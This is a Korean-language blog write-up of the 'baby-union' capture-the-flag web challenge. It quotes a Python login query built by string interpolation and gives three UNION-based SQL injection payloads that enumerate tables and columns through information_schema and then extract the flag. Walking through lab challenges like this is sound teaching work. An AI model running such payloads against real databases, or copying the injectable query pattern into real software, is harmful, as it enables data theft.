baby-union | Write-Up

0xqury·2025년 5월 15일

WebWriteups

목록 보기
7/8

1. 문제


init.sql


2. 풀이

먼저 제공된 SQL 쿼리는 다음과 같습니다.

cur.execute(f"SELECT * FROM users WHERE uid='{uid}' and upw='{upw}';")
  • uid, upw 파라미터는 사용자 입력값
  • 직접 문자열로 삽입되는 구조이기 때문에 전형적인 SQL Injection이 가능

1단계: 테이블 이름 수집

' UNION SELECT 1, table_name, 3, 4 FROM information_schema.tables WHERE table_schema='secret_db' #
  • secret_db 내 테이블 이름들을 출력
  • 여기서 onlyflag 라는 테이블이 존재함을 확인

2단계: 컬럼 이름 수집

' UNION SELECT 1, column_name, 3, 4 FROM information_schema.columns WHERE table_name='onlyflag' #
  • onlyflag 테이블의 컬럼 이름들을 확인
  • 예시: svalue, sflag, sclose

3단계: 플래그 값 출력

' UNION SELECT svalue, sflag, 3, sclose FROM onlyflag #
  • 여기서 sflag 컬럼이 플래그를 담고 있었고
  • 템플릿이 data[0][1]을 출력하는 구조였기 때문에
    sflag를 두 번째 컬럼 위치에 맞춰서 SELECT함
  • 결과적으로 플래그가 정상 출력됨

3. 정리 및 느낀점

이번 문제는 단순한 로그인 우회 수준을 넘어서, 메타데이터 테이블을 활용한 DB 구조 탐색 + 결과 출력 위치까지 고려한 조작이 요구되는 UNION-based SQL Injection 문제였다.

핵심은 다음 3가지였다.

  1. 정보 수집: information_schema.tablescolumns를 통한 탐색
  2. 결과 구성: SELECT 컬럼 수를 맞추고, 원하는 값을 출력 위치에 배치
  3. 출력 위치 분석: HTML 템플릿 구조(data[0][1])까지 고려하여 컬럼 순서 조절

이 문제를 통해 SQLi에서 단순히 "데이터를 빼내는 것"만이 아니라, "어떻게 출력될지를 제어하는 것도 중요하다"는 점을 다시금 체감할 수 있었다.


profile
지망생

0개의 댓글